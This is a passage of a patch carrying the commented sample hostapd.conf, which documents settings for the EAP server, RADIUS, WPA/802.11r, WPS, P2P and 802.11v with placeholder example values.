-+# See https://www.openssl.org/docs/apps/ciphers.html for OpenSSL documentation
-+# on cipher suite configuration. This is applicable only if hostapd is built to
-+# use OpenSSL.
-+#openssl_ciphers=DEFAULT:!EXP:!LOW
-+
-+# Fragment size for EAP methods
-+#fragment_size=1400
-+
-+# Finite cyclic group for EAP-pwd. Number maps to group of domain parameters
-+# using the IANA repository for IKE (RFC 2409).
-+#pwd_group=19
-+
-+# Configuration data for EAP-SIM database/authentication gateway interface.
-+# This is a text string in implementation specific format. The example
-+# implementation in eap_sim_db.c uses this as the UNIX domain socket name for
-+# the HLR/AuC gateway (e.g., hlr_auc_gw). In this case, the path uses "unix:"
-+# prefix. If hostapd is built with SQLite support (CONFIG_SQLITE=y in .config),
-+# database file can be described with an optional db=<path> parameter.
-+#eap_sim_db=unix:/tmp/hlr_auc_gw.sock
-+#eap_sim_db=unix:/tmp/hlr_auc_gw.sock db=/tmp/hostapd.db
-+
-+# EAP-SIM DB request timeout
-+# This parameter sets the maximum time to wait for a database request response.
-+# The parameter value is in seconds.
-+#eap_sim_db_timeout=1
-+
-+# Encryption key for EAP-FAST PAC-Opaque values. This key must be a secret,
-+# random value. It is configured as a 16-octet value in hex format. It can be
-+# generated, e.g., with the following command:
-+# od -tx1 -v -N16 /dev/random | colrm 1 8 | tr -d ' '
-+#pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
-+
-+# EAP-FAST authority identity (A-ID)
-+# A-ID indicates the identity of the authority that issues PACs. The A-ID
-+# should be unique across all issuing servers. In theory, this is a variable
-+# length field, but due to some existing implementations requiring A-ID to be
-+# 16 octets in length, it is strongly recommended to use that length for the
-+# field to provid interoperability with deployed peer implementations. This
-+# field is configured in hex format.
-+#eap_fast_a_id=101112131415161718191a1b1c1d1e1f
-+
-+# EAP-FAST authority identifier information (A-ID-Info)
-+# This is a user-friendly name for the A-ID. For example, the enterprise name
-+# and server name in a human-readable format. This field is encoded as UTF-8.
-+#eap_fast_a_id_info=test server
-+
-+# Enable/disable different EAP-FAST provisioning modes:
-+#0 = provisioning disabled
-+#1 = only anonymous provisioning allowed
-+#2 = only authenticated provisioning allowed
-+#3 = both provisioning modes allowed (default)
-+#eap_fast_prov=3
-+
-+# EAP-FAST PAC-Key lifetime in seconds (hard limit)
-+#pac_key_lifetime=604800
-+
-+# EAP-FAST PAC-Key refresh time in seconds (soft limit on remaining hard
-+# limit). The server will generate a new PAC-Key when this number of seconds
-+# (or fewer) of the lifetime remains.
-+#pac_key_refresh_time=86400
-+
-+# EAP-SIM and EAP-AKA protected success/failure indication using AT_RESULT_IND
-+# (default: 0 = disabled).
-+#eap_sim_aka_result_ind=1
-+
-+# Trusted Network Connect (TNC)
-+# If enabled, TNC validation will be required before the peer is allowed to
-+# connect. Note: This is only used with EAP-TTLS and EAP-FAST. If any other
-+# EAP method is enabled, the peer will be allowed to connect without TNC.
-+#tnc=1
-+
-+# EAP Re-authentication Protocol (ERP) - RFC 6696
-+#
-+# Whether to enable ERP on the EAP server.
-+#eap_server_erp=1
-+
-+##### IEEE 802.11f - Inter-Access Point Protocol (IAPP) #######################
-+
-+# Interface to be used for IAPP broadcast packets
-+#iapp_interface=eth0
-+
-+
-+##### RADIUS client configuration #############################################
-+# for IEEE 802.1X with external Authentication Server, IEEE 802.11
-+# authentication with external ACL for MAC addresses, and accounting
-+
-+# The own IP address of the access point (used as NAS-IP-Address)
-+own_ip_addr=127.0.0.1
-+
-+# NAS-Identifier string for RADIUS messages. When used, this should be unique
-+# to the NAS within the scope of the RADIUS server. Please note that hostapd
-+# uses a separate RADIUS client for each BSS and as such, a unique
-+# nas_identifier value should be configured separately for each BSS. This is
-+# particularly important for cases where RADIUS accounting is used
-+# (Accounting-On/Off messages are interpreted as clearing all ongoing sessions
-+# and that may get interpreted as applying to all BSSes if the same
-+# NAS-Identifier value is used.) For example, a fully qualified domain name
-+# prefixed with a unique identifier of the BSS (e.g., BSSID) can be used here.
-+#
-+# When using IEEE 802.11r, nas_identifier must be set and must be between 1 and
-+# 48 octets long.
-+#
-+# It is mandatory to configure either own_ip_addr or nas_identifier to be
-+# compliant with the RADIUS protocol. When using RADIUS accounting, it is
-+# strongly recommended that nas_identifier is set to a unique value for each
-+# BSS.
-+#nas_identifier=ap.example.com
-+
-+# RADIUS client forced local IP address for the access point
-+# Normally the local IP address is determined automatically based on configured
-+# IP addresses, but this field can be used to force a specific address to be
-+# used, e.g., when the device has multiple IP addresses.
-+#radius_client_addr=127.0.0.1
-+
-+# RADIUS authentication server
-+#auth_server_addr=127.0.0.1
-+#auth_server_port=1812
-+#auth_server_shared_secret=secret
-+
-+# RADIUS accounting server
-+#acct_server_addr=127.0.0.1
-+#acct_server_port=1813
-+#acct_server_shared_secret=secret
-+
-+# Secondary RADIUS servers; to be used if primary one does not reply to
-+# RADIUS packets. These are optional and there can be more than one secondary
-+# server listed.
-+#auth_server_addr=127.0.0.2
-+#auth_server_port=1812
-+#auth_server_shared_secret=secret2
-+#
-+#acct_server_addr=127.0.0.2
-+#acct_server_port=1813
-+#acct_server_shared_secret=secret2
-+
-+# Retry interval for trying to return to the primary RADIUS server (in
-+# seconds). RADIUS client code will automatically try to use the next server
-+# when the current server is not replying to requests. If this interval is set,
-+# primary server will be retried after configured amount of time even if the
-+# currently used secondary server is still working.
-+#radius_retry_primary_interval=600
-+
-+
-+# Interim accounting update interval
-+# If this is set (larger than 0) and acct_server is configured, hostapd will
-+# send interim accounting updates every N seconds. Note: if set, this overrides
-+# possible Acct-Interim-Interval attribute in Access-Accept message. Thus, this
-+# value should not be configured in hostapd.conf, if RADIUS server is used to
-+# control the interim interval.
-+# This value should not be less 600 (10 minutes) and must not be less than
-+# 60 (1 minute).
-+#radius_acct_interim_interval=600
-+
-+# Request Chargeable-User-Identity (RFC 4372)
-+# This parameter can be used to configure hostapd to request CUI from the
-+# RADIUS server by including Chargeable-User-Identity attribute into
-+# Access-Request packets.
-+#radius_request_cui=1
-+
-+# Dynamic VLAN mode; allow RADIUS authentication server to decide which VLAN
-+# is used for the stations. This information is parsed from following RADIUS
-+# attributes based on RFC 3580 and RFC 2868: Tunnel-Type (value 13 = VLAN),
-+# Tunnel-Medium-Type (value 6 = IEEE 802), Tunnel-Private-Group-ID (value
-+# VLANID as a string). Optionally, the local MAC ACL list (accept_mac_file) can
-+# be used to set static client MAC address to VLAN ID mapping.
-+# 0 = disabled (default)
-+# 1 = option; use default interface if RADIUS server does not include VLAN ID
-+# 2 = required; reject authentication if RADIUS server does not include VLAN ID
-+#dynamic_vlan=0
-+
-+# Per-Station AP_VLAN interface mode
-+# If enabled, each station is assigned its own AP_VLAN interface.
-+# This implies per-station group keying and ebtables filtering of inter-STA
-+# traffic (when passed through the AP).
-+# If the sta is not assigned to any VLAN, then its AP_VLAN interface will be
-+# added to the bridge given by the "bridge" configuration option (see above).
-+# Otherwise, it will be added to the per-VLAN bridge.
-+# 0 = disabled (default)
-+# 1 = enabled
-+#per_sta_vif=0
-+
-+# VLAN interface list for dynamic VLAN mode is read from a separate text file.
-+# This list is used to map VLAN ID from the RADIUS server to a network
-+# interface. Each station is bound to one interface in the same way as with
-+# multiple BSSIDs or SSIDs. Each line in this text file is defining a new
-+# interface and the line must include VLAN ID and interface name separated by
-+# white space (space or tab).
-+# If no entries are provided by this file, the station is statically mapped
-+# to <bss-iface>.<vlan-id> interfaces.
-+#vlan_file=/etc/hostapd.vlan
-+
-+# Interface where 802.1q tagged packets should appear when a RADIUS server is
-+# used to determine which VLAN a station is on.  hostapd creates a bridge for
-+# each VLAN.  Then hostapd adds a VLAN interface (associated with the interface
-+# indicated by 'vlan_tagged_interface') and the appropriate wireless interface
-+# to the bridge.
-+#vlan_tagged_interface=eth0
-+
-+# Bridge (prefix) to add the wifi and the tagged interface to. This gets the
-+# VLAN ID appended. It defaults to brvlan%d if no tagged interface is given
-+# and br%s.%d if a tagged interface is given, provided %s = tagged interface
-+# and %d = VLAN ID.
-+#vlan_bridge=brvlan
-+
-+# When hostapd creates a VLAN interface on vlan_tagged_interfaces, it needs
-+# to know how to name it.
-+# 0 = vlan<XXX>, e.g., vlan1
-+# 1 = <vlan_tagged_interface>.<XXX>, e.g. eth0.1
-+#vlan_naming=0
-+
-+# Arbitrary RADIUS attributes can be added into Access-Request and
-+# Accounting-Request packets by specifying the contents of the attributes with
-+# the following configuration parameters. There can be multiple of these to
-+# add multiple attributes. These parameters can also be used to override some
-+# of the attributes added automatically by hostapd.
-+# Format: <attr_id>:<syntax:value>
-+# attr_id: RADIUS attribute type (e.g., 26 = Vendor-Specific)
-+# syntax: s = string (UTF-8), d = integer, x = octet string
-+# value: attribute value in format indicated by the syntax
-+# If syntax and value parts are omitted, a null value (single 0x00 octet) is
-+# used.
-+#
-+# Additional Access-Request attributes
-+# radius_auth_req_attr=<attr_id>:<syntax:value>
-+# Examples:
-+# Operator-Name = "Operator"
-+#radius_auth_req_attr=126:s:Operator
-+# Service-Type = Framed (2)
-+#radius_auth_req_attr=6:d:2
-+# Connect-Info = "testing" (this overrides the automatically generated value)
-+#radius_auth_req_attr=77:s:testing
-+# Same Connect-Info value set as a hexdump
-+#radius_auth_req_attr=77:x:74657374696e67
-+
-+#
-+# Additional Accounting-Request attributes
-+# radius_acct_req_attr=<attr_id>:<syntax:value>
-+# Examples:
-+# Operator-Name = "Operator"
-+#radius_acct_req_attr=126:s:Operator
-+
-+# Dynamic Authorization Extensions (RFC 5176)
-+# This mechanism can be used to allow dynamic changes to user session based on
-+# commands from a RADIUS server (or some other disconnect client that has the
-+# needed session information). For example, Disconnect message can be used to
-+# request an associated station to be disconnected.
-+#
-+# This is disabled by default. Set radius_das_port to non-zero UDP port
-+# number to enable.
-+#radius_das_port=3799
-+#
-+# DAS client (the host that can send Disconnect/CoA requests) and shared secret
-+#radius_das_client=192.168.1.123 shared secret here
-+#
-+# DAS Event-Timestamp time window in seconds
-+#radius_das_time_window=300
-+#
-+# DAS require Event-Timestamp
-+#radius_das_require_event_timestamp=1
-+#
-+# DAS require Message-Authenticator
-+#radius_das_require_message_authenticator=1
-+
-+##### RADIUS authentication server configuration ##############################
-+
-+# hostapd can be used as a RADIUS authentication server for other hosts. This
-+# requires that the integrated EAP server is also enabled and both
-+# authentication services are sharing the same configuration.
-+
-+# File name of the RADIUS clients configuration for the RADIUS server. If this
-+# commented out, RADIUS server is disabled.
-+#radius_server_clients=/etc/hostapd.radius_clients
-+
-+# The UDP port number for the RADIUS authentication server
-+#radius_server_auth_port=1812
-+
-+# The UDP port number for the RADIUS accounting server
-+# Commenting this out or setting this to 0 can be used to disable RADIUS
-+# accounting while still enabling RADIUS authentication.
-+#radius_server_acct_port=1813
-+
-+# Use IPv6 with RADIUS server (IPv4 will also be supported using IPv6 API)
-+#radius_server_ipv6=1
-+
-+
-+##### WPA/IEEE 802.11i configuration ##########################################
-+
-+# Enable WPA. Setting this variable configures the AP to require WPA (either
-+# WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either
-+# wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK.
-+# Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice.
-+# For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys),
-+# RADIUS authentication server must be configured, and WPA-EAP must be included
-+# in wpa_key_mgmt.
-+# This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0)
-+# and/or WPA2 (full IEEE 802.11i/RSN):
-+# bit0 = WPA
-+# bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
-+#wpa=1
-+
-+# WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
-+# secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
-+# (8..63 characters) that will be converted to PSK. This conversion uses SSID
-+# so the PSK changes when ASCII passphrase is used and the SSID is changed.
-+# wpa_psk (dot11RSNAConfigPSKValue)
-+# wpa_passphrase (dot11RSNAConfigPSKPassPhrase)
-+#wpa_psk=0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
-+#wpa_passphrase=secret passphrase
-+
-+# Optionally, WPA PSKs can be read from a separate text file (containing list
-+# of (PSK,MAC address) pairs. This allows more than one PSK to be configured.
-+# Use absolute path name to make sure that the files can be read on SIGHUP
-+# configuration reloads.
-+#wpa_psk_file=/etc/hostapd.wpa_psk
-+
-+# Optionally, WPA passphrase can be received from RADIUS authentication server
-+# This requires macaddr_acl to be set to 2 (RADIUS)
-+# 0 = disabled (default)
-+# 1 = optional; use default passphrase/psk if RADIUS server does not include
-+#	Tunnel-Password
-+# 2 = required; reject authentication if RADIUS server does not include
-+#	Tunnel-Password
-+#wpa_psk_radius=0
-+
-+# Set of accepted key management algorithms (WPA-PSK, WPA-EAP, or both). The
-+# entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be
-+# added to enable SHA256-based stronger algorithms.
-+# (dot11RSNAConfigAuthenticationSuitesTable)
-+#wpa_key_mgmt=WPA-PSK WPA-EAP
-+
-+# Set of accepted cipher suites (encryption algorithms) for pairwise keys
-+# (unicast packets). This is a space separated list of algorithms:
-+# CCMP = AES in Counter mode with CBC-MAC RFC 3610, IEEE 802.11i/D7.0
-+# TKIP = Temporal Key Integrity Protocol IEEE 802.11i/D7.0
-+# Group cipher suite (encryption algorithm for broadcast and multicast frames)
-+# is automatically selected based on this configuration. If only CCMP is
-+# allowed as the pairwise cipher, group cipher will also be CCMP. Otherwise,
-+# TKIP will be used as the group cipher.
-+# (dot11RSNAConfigPairwiseCiphersTable)
-+# Pairwise cipher for WPA (v1) (default: TKIP)
-+#wpa_pairwise=TKIP CCMP
-+# Pairwise cipher for RSN/WPA2 (default: use wpa_pairwise value)
-+#rsn_pairwise=CCMP
-+
-+# Time interval for rekeying GTK (broadcast/multicast encryption keys) in
-+# seconds. (dot11RSNAConfigGroupRekeyTime)
-+#wpa_group_rekey=600
-+
-+# Rekey GTK when any STA that possesses the current GTK is leaving the BSS.
-+# (dot11RSNAConfigGroupRekeyStrict)
-+#wpa_strict_rekey=1
-+
-+# Time interval for rekeying GMK (master key used internally to generate GTKs
-+# (in seconds).
-+#wpa_gmk_rekey=86400
-+
-+# Maximum lifetime for PTK in seconds. This can be used to enforce rekeying of
-+# PTK to mitigate some attacks against TKIP deficiencies.
-+#wpa_ptk_rekey=600
-+
-+# Enable IEEE 802.11i/RSN/WPA2 pre-authentication. This is used to speed up
-+# roaming be pre-authenticating IEEE 802.1X/EAP part of the full RSN
-+# authentication and key handshake before actually associating with a new AP.
-+# (dot11RSNAPreauthenticationEnabled)
-+#rsn_preauth=1
-+#
-+# Space separated list of interfaces from which pre-authentication frames are
-+# accepted (e.g., 'eth0' or 'eth0 wlan0wds0'. This list should include all
-+# interface that are used for connections to other APs. This could include
-+# wired interfaces and WDS links. The normal wireless data interface towards
-+# associated stations (e.g., wlan0) should not be added, since
-+# pre-authentication is only used with APs other than the currently associated
-+# one.
-+#rsn_preauth_interfaces=eth0
-+
-+# peerkey: Whether PeerKey negotiation for direct links (IEEE 802.11e) is
-+# allowed. This is only used with RSN/WPA2.
-+# 0 = disabled (default)
-+# 1 = enabled
-+#peerkey=1
-+
-+# ieee80211w: Whether management frame protection (MFP) is enabled
-+# 0 = disabled (default)
-+# 1 = optional
-+# 2 = required
-+#ieee80211w=0
-+
-+# Group management cipher suite
-+# Default: AES-128-CMAC (BIP)
-+# Other options (depending on driver support):
-+# BIP-GMAC-128
-+# BIP-GMAC-256
-+# BIP-CMAC-256
-+# Note: All the stations connecting to the BSS will also need to support the
-+# selected cipher. The default AES-128-CMAC is the only option that is commonly
-+# available in deployed devices.
-+#group_mgmt_cipher=AES-128-CMAC
-+
-+# Association SA Query maximum timeout (in TU = 1.024 ms; for MFP)
-+# (maximum time to wait for a SA Query response)
-+# dot11AssociationSAQueryMaximumTimeout, 1...4294967295
-+#assoc_sa_query_max_timeout=1000
-+
-+# Association SA Query retry timeout (in TU = 1.024 ms; for MFP)
-+# (time between two subsequent SA Query requests)
-+# dot11AssociationSAQueryRetryTimeout, 1...4294967295
-+#assoc_sa_query_retry_timeout=201
-+
-+# disable_pmksa_caching: Disable PMKSA caching
-+# This parameter can be used to disable caching of PMKSA created through EAP
-+# authentication. RSN preauthentication may still end up using PMKSA caching if
-+# it is enabled (rsn_preauth=1).
-+# 0 = PMKSA caching enabled (default)
-+# 1 = PMKSA caching disabled
-+#disable_pmksa_caching=0
-+
-+# okc: Opportunistic Key Caching (aka Proactive Key Caching)
-+# Allow PMK cache to be shared opportunistically among configured interfaces
-+# and BSSes (i.e., all configurations within a single hostapd process).
-+# 0 = disabled (default)
-+# 1 = enabled
-+#okc=1
-+
-+# SAE threshold for anti-clogging mechanism (dot11RSNASAEAntiCloggingThreshold)
-+# This parameter defines how many open SAE instances can be in progress at the
-+# same time before the anti-clogging mechanism is taken into use.
-+#sae_anti_clogging_threshold=5
-+
-+# Enabled SAE finite cyclic groups
-+# SAE implementation are required to support group 19 (ECC group defined over a
-+# 256-bit prime order field). All groups that are supported by the
-+# implementation are enabled by default. This configuration parameter can be
-+# used to specify a limited set of allowed groups. The group values are listed
-+# in the IANA registry:
-+# http://www.iana.org/assignments/ipsec-registry/ipsec-registry.xml#ipsec-registry-9
-+#sae_groups=19 20 21 25 26
-+
-+##### IEEE 802.11r configuration ##############################################
-+
-+# Mobility Domain identifier (dot11FTMobilityDomainID, MDID)
-+# MDID is used to indicate a group of APs (within an ESS, i.e., sharing the
-+# same SSID) between which a STA can use Fast BSS Transition.
-+# 2-octet identifier as a hex string.
-+#mobility_domain=a1b2
-+
-+# PMK-R0 Key Holder identifier (dot11FTR0KeyHolderID)
-+# 1 to 48 octet identifier.
-+# This is configured with nas_identifier (see RADIUS client section above).
-+
-+# Default lifetime of the PMK-RO in minutes; range 1..65535
-+# (dot11FTR0KeyLifetime)
-+#r0_key_lifetime=10000
-+
-+# PMK-R1 Key Holder identifier (dot11FTR1KeyHolderID)
-+# 6-octet identifier as a hex string.
-+# Defaults to BSSID.
-+#r1_key_holder=000102030405
-+
-+# Reassociation deadline in time units (TUs / 1.024 ms; range 1000..65535)
-+# (dot11FTReassociationDeadline)
-+#reassociation_deadline=1000
-+
-+# List of R0KHs in the same Mobility Domain
-+# format: <MAC address> <NAS Identifier> <128-bit key as hex string>
-+# This list is used to map R0KH-ID (NAS Identifier) to a destination MAC
-+# address when requesting PMK-R1 key from the R0KH that the STA used during the
-+# Initial Mobility Domain Association.
-+#r0kh=02:01:02:03:04:05 r0kh-1.example.com 000102030405060708090a0b0c0d0e0f
-+#r0kh=02:01:02:03:04:06 r0kh-2.example.com 00112233445566778899aabbccddeeff
-+# And so on.. One line per R0KH.
-+
-+# List of R1KHs in the same Mobility Domain
-+# format: <MAC address> <R1KH-ID> <128-bit key as hex string>
-+# This list is used to map R1KH-ID to a destination MAC address when sending
-+# PMK-R1 key from the R0KH. This is also the list of authorized R1KHs in the MD
-+# that can request PMK-R1 keys.
-+#r1kh=02:01:02:03:04:05 02:11:22:33:44:55 000102030405060708090a0b0c0d0e0f
-+#r1kh=02:01:02:03:04:06 02:11:22:33:44:66 00112233445566778899aabbccddeeff
-+# And so on.. One line per R1KH.
-+
-+# Whether PMK-R1 push is enabled at R0KH
-+# 0 = do not push PMK-R1 to all configured R1KHs (default)
-+# 1 = push PMK-R1 to all configured R1KHs whenever a new PMK-R0 is derived
-+#pmk_r1_push=1
-+
-+# Whether to enable FT-over-DS
-+# 0 = FT-over-DS disabled
-+# 1 = FT-over-DS enabled (default)
-+#ft_over_ds=1
-+
-+##### Neighbor table ##########################################################
-+# Maximum number of entries kept in AP table (either for neigbor table or for
-+# detecting Overlapping Legacy BSS Condition). The oldest entry will be
-+# removed when adding a new entry that would make the list grow over this
-+# limit. Note! WFA certification for IEEE 802.11g requires that OLBC is
-+# enabled, so this field should not be set to 0 when using IEEE 802.11g.
-+# default: 255
-+#ap_table_max_size=255
-+
-+# Number of seconds of no frames received after which entries may be deleted
-+# from the AP table. Since passive scanning is not usually performed frequently
-+# this should not be set to very small value. In addition, there is no
-+# guarantee that every scan cycle will receive beacon frames from the
-+# neighboring APs.
-+# default: 60
-+#ap_table_expiration_time=3600
-+
-+# Maximum number of stations to track on the operating channel
-+# This can be used to detect dualband capable stations before they have
-+# associated, e.g., to provide guidance on which colocated BSS to use.
-+# Default: 0 (disabled)
-+#track_sta_max_num=100
-+
-+# Maximum age of a station tracking entry in seconds
-+# Default: 180
-+#track_sta_max_age=180
-+
-+# Do not reply to group-addressed Probe Request from a station that was seen on
-+# another radio.
-+# Default: Disabled
-+#
-+# This can be used with enabled track_sta_max_num configuration on another
-+# interface controlled by the same hostapd process to restrict Probe Request
-+# frame handling from replying to group-addressed Probe Request frames from a
-+# station that has been detected to be capable of operating on another band,
-+# e.g., to try to reduce likelihood of the station selecting a 2.4 GHz BSS when
-+# the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
-+#
-+# Note: Enabling this can cause connectivity issues and increase latency for
-+# discovering the AP.
-+#no_probe_resp_if_seen_on=wlan1
-+
-+# Reject authentication from a station that was seen on another radio.
-+# Default: Disabled
-+#
-+# This can be used with enabled track_sta_max_num configuration on another
-+# interface controlled by the same hostapd process to reject authentication
-+# attempts from a station that has been detected to be capable of operating on
-+# another band, e.g., to try to reduce likelihood of the station selecting a
-+# 2.4 GHz BSS when the AP operates both a 2.4 GHz and 5 GHz BSS concurrently.
-+#
-+# Note: Enabling this can cause connectivity issues and increase latency for
-+# connecting with the AP.
-+#no_auth_if_seen_on=wlan1
-+
-+##### Wi-Fi Protected Setup (WPS) #############################################
-+
-+# WPS state
-+# 0 = WPS disabled (default)
-+# 1 = WPS enabled, not configured
-+# 2 = WPS enabled, configured
-+#wps_state=2
-+
-+# Whether to manage this interface independently from other WPS interfaces
-+# By default, a single hostapd process applies WPS operations to all configured
-+# interfaces. This parameter can be used to disable that behavior for a subset
-+# of interfaces. If this is set to non-zero for an interface, WPS commands
-+# issued on that interface do not apply to other interfaces and WPS operations
-+# performed on other interfaces do not affect this interface.
-+#wps_independent=0
-+
-+# AP can be configured into a locked state where new WPS Registrar are not
-+# accepted, but previously authorized Registrars (including the internal one)
-+# can continue to add new Enrollees.
-+#ap_setup_locked=1
-+
-+# Universally Unique IDentifier (UUID; see RFC 4122) of the device
-+# This value is used as the UUID for the internal WPS Registrar. If the AP
-+# is also using UPnP, this value should be set to the device's UPnP UUID.
-+# If not configured, UUID will be generated based on the local MAC address.
-+#uuid=12345678-9abc-def0-1234-56789abcdef0
-+
-+# Note: If wpa_psk_file is set, WPS is used to generate random, per-device PSKs
-+# that will be appended to the wpa_psk_file. If wpa_psk_file is not set, the
-+# default PSK (wpa_psk/wpa_passphrase) will be delivered to Enrollees. Use of
-+# per-device PSKs is recommended as the more secure option (i.e., make sure to
-+# set wpa_psk_file when using WPS with WPA-PSK).
-+
-+# When an Enrollee requests access to the network with PIN method, the Enrollee
-+# PIN will need to be entered for the Registrar. PIN request notifications are
-+# sent to hostapd ctrl_iface monitor. In addition, they can be written to a
-+# text file that could be used, e.g., to populate the AP administration UI with
-+# pending PIN requests. If the following variable is set, the PIN requests will
-+# be written to the configured file.
-+#wps_pin_requests=/var/run/hostapd_wps_pin_requests
-+
-+# Device Name
-+# User-friendly description of device; up to 32 octets encoded in UTF-8
-+#device_name=Wireless AP
-+
-+# Manufacturer
-+# The manufacturer of the device (up to 64 ASCII characters)
-+#manufacturer=Company
-+
-+# Model Name
-+# Model of the device (up to 32 ASCII characters)
-+#model_name=WAP
-+
-+# Model Number
-+# Additional device description (up to 32 ASCII characters)
-+#model_number=123
-+
-+# Serial Number
-+# Serial number of the device (up to 32 characters)
-+#serial_number=12345
-+
-+# Primary Device Type
-+# Used format: <categ>-<OUI>-<subcateg>
-+# categ = Category as an integer value
-+# OUI = OUI and type octet as a 4-octet hex-encoded value; 0050F204 for
-+#       default WPS OUI
-+# subcateg = OUI-specific Sub Category as an integer value
-+# Examples:
-+#   1-0050F204-1 (Computer / PC)
-+#   1-0050F204-2 (Computer / Server)
-+#   5-0050F204-1 (Storage / NAS)
-+#   6-0050F204-1 (Network Infrastructure / AP)
-+#device_type=6-0050F204-1
-+
-+# OS Version
-+# 4-octet operating system version number (hex string)
-+#os_version=01020300
-+
-+# Config Methods
-+# List of the supported configuration methods
-+# Available methods: usba ethernet label display ext_nfc_token int_nfc_token
-+#	nfc_interface push_button keypad virtual_display physical_display
-+#	virtual_push_button physical_push_button
-+#config_methods=label virtual_display virtual_push_button keypad
-+
-+# WPS capability discovery workaround for PBC with Windows 7
-+# Windows 7 uses incorrect way of figuring out AP's WPS capabilities by acting
-+# as a Registrar and using M1 from the AP. The config methods attribute in that
-+# message is supposed to indicate only the configuration method supported by
-+# the AP in Enrollee role, i.e., to add an external Registrar. For that case,
-+# PBC shall not be used and as such, the PushButton config method is removed
-+# from M1 by default. If pbc_in_m1=1 is included in the configuration file,
-+# the PushButton config method is left in M1 (if included in config_methods
-+# parameter) to allow Windows 7 to use PBC instead of PIN (e.g., from a label
-+# in the AP).
-+#pbc_in_m1=1
-+
-+# Static access point PIN for initial configuration and adding Registrars
-+# If not set, hostapd will not allow external WPS Registrars to control the
-+# access point. The AP PIN can also be set at runtime with hostapd_cli
-+# wps_ap_pin command. Use of temporary (enabled by user action) and random
-+# AP PIN is much more secure than configuring a static AP PIN here. As such,
-+# use of the ap_pin parameter is not recommended if the AP device has means for
-+# displaying a random PIN.
-+#ap_pin=12345670
-+
-+# Skip building of automatic WPS credential
-+# This can be used to allow the automatically generated Credential attribute to
-+# be replaced with pre-configured Credential(s).
-+#skip_cred_build=1
-+
-+# Additional Credential attribute(s)
-+# This option can be used to add pre-configured Credential attributes into M8
-+# message when acting as a Registrar. If skip_cred_build=1, this data will also
-+# be able to override the Credential attribute that would have otherwise been
-+# automatically generated based on network configuration. This configuration
-+# option points to an external file that much contain the WPS Credential
-+# attribute(s) as binary data.
-+#extra_cred=hostapd.cred
-+
-+# Credential processing
-+#   0 = process received credentials internally (default)
-+#   1 = do not process received credentials; just pass them over ctrl_iface to
-+#	external program(s)
-+#   2 = process received credentials internally and pass them over ctrl_iface
-+#	to external program(s)
-+# Note: With wps_cred_processing=1, skip_cred_build should be set to 1 and
-+# extra_cred be used to provide the Credential data for Enrollees.
-+#
-+# wps_cred_processing=1 will disabled automatic updates of hostapd.conf file
-+# both for Credential processing and for marking AP Setup Locked based on
-+# validation failures of AP PIN. An external program is responsible on updating
-+# the configuration appropriately in this case.
-+#wps_cred_processing=0
-+
-+# AP Settings Attributes for M7
-+# By default, hostapd generates the AP Settings Attributes for M7 based on the
-+# current configuration. It is possible to override this by providing a file
-+# with pre-configured attributes. This is similar to extra_cred file format,
-+# but the AP Settings attributes are not encapsulated in a Credential
-+# attribute.
-+#ap_settings=hostapd.ap_settings
-+
-+# WPS UPnP interface
-+# If set, support for external Registrars is enabled.
-+#upnp_iface=br0
-+
-+# Friendly Name (required for UPnP)
-+# Short description for end use. Should be less than 64 characters.
-+#friendly_name=WPS Access Point
-+
-+# Manufacturer URL (optional for UPnP)
-+#manufacturer_url=http://www.example.com/
-+
-+# Model Description (recommended for UPnP)
-+# Long description for end user. Should be less than 128 characters.
-+#model_description=Wireless Access Point
-+
-+# Model URL (optional for UPnP)
-+#model_url=http://www.example.com/model/
-+
-+# Universal Product Code (optional for UPnP)
-+# 12-digit, all-numeric code that identifies the consumer package.
-+#upc=123456789012
-+
-+# WPS RF Bands (a = 5G, b = 2.4G, g = 2.4G, ag = dual band, ad = 60 GHz)
-+# This value should be set according to RF band(s) supported by the AP if
-+# hw_mode is not set. For dual band dual concurrent devices, this needs to be
-+# set to ag to allow both RF bands to be advertized.
-+#wps_rf_bands=ag
-+
-+# NFC password token for WPS
-+# These parameters can be used to configure a fixed NFC password token for the
-+# AP. This can be generated, e.g., with nfc_pw_token from wpa_supplicant. When
-+# these parameters are used, the AP is assumed to be deployed with a NFC tag
-+# that includes the matching NFC password token (e.g., written based on the
-+# NDEF record from nfc_pw_token).
-+#
-+#wps_nfc_dev_pw_id: Device Password ID (16..65535)
-+#wps_nfc_dh_pubkey: Hexdump of DH Public Key
-+#wps_nfc_dh_privkey: Hexdump of DH Private Key
-+#wps_nfc_dev_pw: Hexdump of Device Password
-+
-+##### Wi-Fi Direct (P2P) ######################################################
-+
-+# Enable P2P Device management
-+#manage_p2p=1
-+
-+# Allow cross connection
-+#allow_cross_connection=1
-+
-+#### TDLS (IEEE 802.11z-2010) #################################################
-+
-+# Prohibit use of TDLS in this BSS
-+#tdls_prohibit=1
-+
-+# Prohibit use of TDLS Channel Switching in this BSS
-+#tdls_prohibit_chan_switch=1
-+
-+##### IEEE 802.11v-2011 #######################################################
-+
-+# Time advertisement
-+# 0 = disabled (default)
-+# 2 = UTC time at which the TSF timer is 0
-+#time_advertisement=2
-+
-+# Local time zone as specified in 8.3 of IEEE Std 1003.1-2004:
-+# stdoffsetdstoffset,start/time,end/time
-+#time_zone=EST5
-+
-+# WNM-Sleep Mode (extended sleep mode for stations)
-+# 0 = disabled (default)
-+# 1 = enabled (allow stations to use WNM-Sleep Mode)
-+#wnm_sleep_mode=1
-+
-+# BSS Transition Management
-+# 0 = disabled (default)
-+# 1 = enabled
-+#bss_transition=1
-+
-+# Proxy ARP
-+# 0 = disabled (default)
-+# 1 = enabled
-+#proxy_arp=1
-+
-+# IPv6 Neighbor Advertisement multicast-to-unicast conversion
-+# This can be used with Proxy ARP to allow multicast NAs to be forwarded to
-+# associated STAs using link layer unicast delivery.
-+# 0 = disabled (default)
-+# 1 = enabled
-+#na_mcast_to_ucast=0
-+
-+##### IEEE 802.11u-2011 #######################################################
-+
